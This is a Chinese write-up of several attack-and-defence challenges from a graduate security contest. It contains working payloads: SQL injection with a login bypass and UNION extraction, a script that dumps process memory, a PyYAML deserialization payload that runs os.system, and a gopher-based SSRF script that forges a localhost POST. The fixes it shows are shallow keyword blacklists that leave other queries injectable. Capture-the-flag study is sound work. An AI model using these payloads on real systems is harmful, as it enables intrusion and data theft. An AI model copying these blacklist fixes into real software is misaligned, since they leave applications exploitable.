第三届华为杯研究生网络安全决赛AWDP详细全解

admin 2024年12月3日13:19:57评论4 views字数 7018阅读23分23秒阅读模式

学生管理系统

万能密码进入管理员页面

'admin or 1=1#

试了一些功能发现只有查询功能可以利用

第三届华为杯研究生网络安全决赛AWDP详细全解

抓包测试发现使用的是模糊匹配来查询

{"method":"queryAll","keyword":"郭心%'#"}

第三届华为杯研究生网络安全决赛AWDP详细全解

接下来就是sql注入
查询表名

{"method":"queryAll","keyword":"郭心%'union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4,5,6,7,8#"}

查询列名

{"method":"queryAll","keyword":"郭心%'union select (select group_concat(column_name) from information_schema.columns where table_name='flag'),2,3,4,5,6,7,8#"}

查询flag

{"method":"queryAll","keyword":"郭心%'union select (select flag from flag),2,3,4,5,6,7,8#"}

Fix

将sql注入的单双引号以及报错注入和常用关键词过滤掉

<?phpinclude'../bean/Res.php';include'../utils/DbConnection.php';include'../bean/Student.php';include'../utils/uu.php';classStudentDao{/*** LoginDao constructor.*/publicfunction__construct(){$this->con=DbConnection::getConnection();}/*** 查询全部* @return bool|void*/publicfunctionqueryAll($param){$sql="select * from t_student";$keyword=$param->keyword;if(preg_match('/'|%|"|#|*|select|and|union|extractvalue|value|sleep|from|select|table|?/i',$keyword)){die("WAF!!!Fuck!!!");}if($keyword!=""){$sql="select * from t_student where username like '%".$keyword."%'";}$res=mysqli_query($this->con,$sql);$ary=array();if(!$res){die('查询失败'.mysqli_error($this->con));}else{while($row=mysqli_fetch_array($res)){$student=newStudent();$student->setId($row['id']);$student->setUsername($row['username']);$student->setGender($row['gender']);$student->setCollege($row['college']);$student->setMajor($row['major']);$student->setPhone($row['phone']);$student->setDorm($row['dorm']);$student->setStartdate($row['startdate']);array_push($ary,$student);}return$ary;}}/*** 保存* @param $param*/publicfunctionsave($param){$sql="insert into t_student(username, gender, college, major, phone, dorm, startdate) values('".$param->username."', '".$param->gender."', '".$param->college."', '".$param->major."','".$param->phone."', '".$param->dorm."', '".$param->startdate."')";$res=mysqli_query($this->con,$sql);return$res;}/*** 更新* @param $param*/publicfunctionupdate($param){$sql="update t_student set username='".$param->username."',gender = '".$param->gender."',college = '".$param->college."',gender = '".$param->gender."',major = '".$param->major."',gender = '".$param->gender."',phone = '".$param->phone."',phone = '".$param->phone."',dorm = '".$param->dorm."',startdate = '".$param->startdate."'where id = ".$param->id." ";$res=mysqli_query($this->con,$sql);}/*** 删除* @param $param*/publicfunctiondelete($param){$sql="delete from t_student where id = ".$param->id." ";$res=mysqli_query($this->con,$sql);}}

登录页面也要加waf

<?phpinclude'../dao/LoginDao.php';include'../bean/Res.php';session_start();header("Content-Type: application/json;charset=UTF-8");// 从请求中获取原始数据$json=file_get_contents('php://input');// 将其转换为 PHP 对象$data=json_decode($json);//$param = json_encode($data);$loginDao=newLoginDao();if(preg_match('/'|%|"|#|*|select|and|union|extractvalue|value|sleep|from|select|table|?/i',$data->uname)){die("WAF!!!Fuck!!!");}if(preg_match('/'|%|"|#|*|select|and|union|extractvalue|value|sleep|from|select|table|?/i',$data->upass)){die("WAF!!!Fuck!!!");}$res=$loginDao->login($data->uname,$data->upass);$result=newRes();if($res){$result->setSuccess(true);$_SESSION['admin']=true;$result->setData("登录成功");}else{$result->setSuccess(false);$result->setData("登录失败");}echojson_encode($result);?>

ezpython

这题被非预期了,题目具有功能读取堆栈内存,我们可以直接读取相应地址即可
通过读内存我们可以直接读flag

importrequestsimportreurl="http://localhost:30050/pprrhh"map_list=requests.get(url+f"?maps=1")map_list=map_list.text.split("\n")foriinmap_list:map_addr=re.match(r"([a-z0-9]+)-([a-z0-9]+)",i)ifmap_addr:start=map_addr.group(1)end=map_addr.group(2)print("Found rw addr:",start,"-",end)res=requests.get(f"{url}?start={start}&end={end}")if"DASCTF"inres.text:secret_key=re.findall(r"DASCTF{[a-z0-9]+}",res.text)ifsecret_key:print("Secret Key:",secret_key[0])s_key=secret_key[0]print(s_key)break

PyYaml

有一个文件上传接口只能上传yaml文件

第三届华为杯研究生网络安全决赛AWDP详细全解

过滤了一些标签和模块

defblack_list(s):flag=Falseblacklist=["apply","popen","os","subprocess","!python"]fornoinblacklist:ifno.lower()instr(s).lower():flag=Trueprint(no)breakreturnflag

那么我还可以用new标签来命令执行

!!python/object/new:eval["__import__('o'+'s').system('touch aa')"]

Fix

修复后的源代码如下过滤!python即可

importosimportrequestsfromflaskimportFlask,request,render_template,jsonify,redirectimportyamlimportreapp=Flask(__name__)defblack_list(s):flag=Falseblacklist=["apply","popen","os","subprocess","!python"]fornoinblacklist:ifno.lower()instr(s).lower():flag=Trueprint(no)breakreturnflagfile_pattern=re.compile(r".*.yaml$")defis_yaml_file(filename):returnbool(file_pattern.match(filename))@app.route("/upload",methods=["POST"])defupload_file():try:uploaded_file=request.files["file"]ifuploaded_fileandis_yaml_file(uploaded_file.filename):file_path=os.path.join("uploads/",uploaded_file.filename)uploaded_file.save(file_path)return(jsonify({"message":"File uploaded successfully","file_path":file_path}),200,)else:return(jsonify({"error":"Invalid file format. Please upload a YAML file."}),400,)exceptExceptionase:returnjsonify({"error":str(e)}),500@app.route("/")defcheck():ifrequest.args:filename=request.args.get("filename")withopen(f"uploads/{filename}.yaml","rb")asf:file_content=f.read()ifnotblack_list(file_content):test=yaml.load(file_content)returnrender_template("index.html",test=test)else:returnrender_template("index.html",test="File content contains dangerous keyword. This is not allowed.",)else:returnrender_template("index.html")@app.route("/delete")defdelete():os.system("rm -rf uploads/*;rm -rf static/*")return"delete successfully"if__name__=="__main__":app.run(host="0.0.0.0",port=5000,debug=True)

Inner

拿到源代码url.php

<?phpif(preg_match("/(127.0.0.1)|(localhost)|(flag)|file|dict|com|ftp/i",$_REQUEST['url'])){die("you can't get flag");}$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$_REQUEST['url']);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$output=curl_exec($ch);echo$output;curl_close($ch);?>

index.php

<?phpheader("Location: url.php?url=https://www.baidu.com/");if($_SERVER['REMOTE_ADDR']=="127.0.0.1"){# flag in /flagreadfile($_POST['evil']);}if(md5($_GET["str"])=='0'){show_source("url.php");}else{show_source(__FILE__);}

可以看出来ssrf漏洞,有gopher没被过滤那么我们用gopher来post传参拿到flag
写脚本传参

importurllib.parsehost="0.0.0.0"content=r"evil=%2f%66%6c%61%67a"print(len(content))content_length=len(content)-1test="""POST / HTTP/1.1Host: {}Content-Type: application/x-www-form-urlencodedContent-Length: {}{}""".format(host,content_length,content)tmp=urllib.parse.quote(test)new=tmp.replace("%0A","%0D%0A")a="gopher://"+"0.0.0.0:80"+"/_"+newresult=urllib.parse.quote(a)importrequestsburp0_url="http://localhost:8999/url.php?url="+resultres=requests.get(burp0_url)print(res.text)

我们通过url编码绕过flag关键字,所以传参的应该为编码过的flag
注意:需要添加一位无用数据,然后post数据长度-1保证报文正确

Fix

修复的话可以增加关键词过滤

<?phpif(preg_match("/(127.0.0.1)|(localhost)|(flag)|file|dict|com|ftp|gopher/i",$_REQUEST['url'])){die("you can't get flag");}$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$_REQUEST['url']);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$output=curl_exec($ch);echo$output;curl_close($ch);?>
来源:【https://xz.aliyun.com/t/16305?time__1311=GuD%3D0I8GkKGNDQtiQd0QDOKGCKvc4i%3D7dW4D#toc-0】,感谢【1315609050541697】

原文始发于微信公众号(船山信安):第三届“华为杯”研究生网络安全决赛AWDP详细全解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月3日13:19:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第三届华为杯研究生网络安全决赛AWDP详细全解https://cn-sec.com/archives/3452534.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息